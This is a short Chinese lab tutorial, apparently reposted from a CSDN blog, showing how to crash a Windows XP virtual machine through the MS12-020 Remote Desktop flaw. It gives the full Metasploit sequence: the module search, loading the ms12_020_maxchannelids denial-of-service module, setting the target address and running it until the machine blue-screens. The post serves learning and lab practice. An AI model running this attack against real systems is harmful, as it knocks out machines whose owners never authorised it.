内网渗透实战(三):MS12-020漏洞利用

前言:
漏洞介绍:MS12-020是远程桌面中的漏洞,如果攻击者向受影响的系统发送一系列特制RDP数据报,则这些漏洞中教严重的漏洞可能允许远程执行代码。(出自百度)
实验环境:虚拟机
攻击者操作系统:Kali Linux 2019.1
靶机操作系统:Window Xp SP2

一、扫描

  • 使用Nnessus扫描靶机后发现存在MS12-020漏洞:

在这里插入图片描述

二、利用

  • 进入metasploit控制台,查找漏洞:search ms12-20

在这里插入图片描述

  • 使用漏洞:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

在这里插入图片描述

  • 查看攻击所需的配置选项:show options

在这里插入图片描述

  • 设置靶机IP:set RHOSTS 192.168.188.123

在这里插入图片描述

  • 运行:run

在这里插入图片描述

  • 靶机蓝屏:

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/hg666hh/article/details/89785789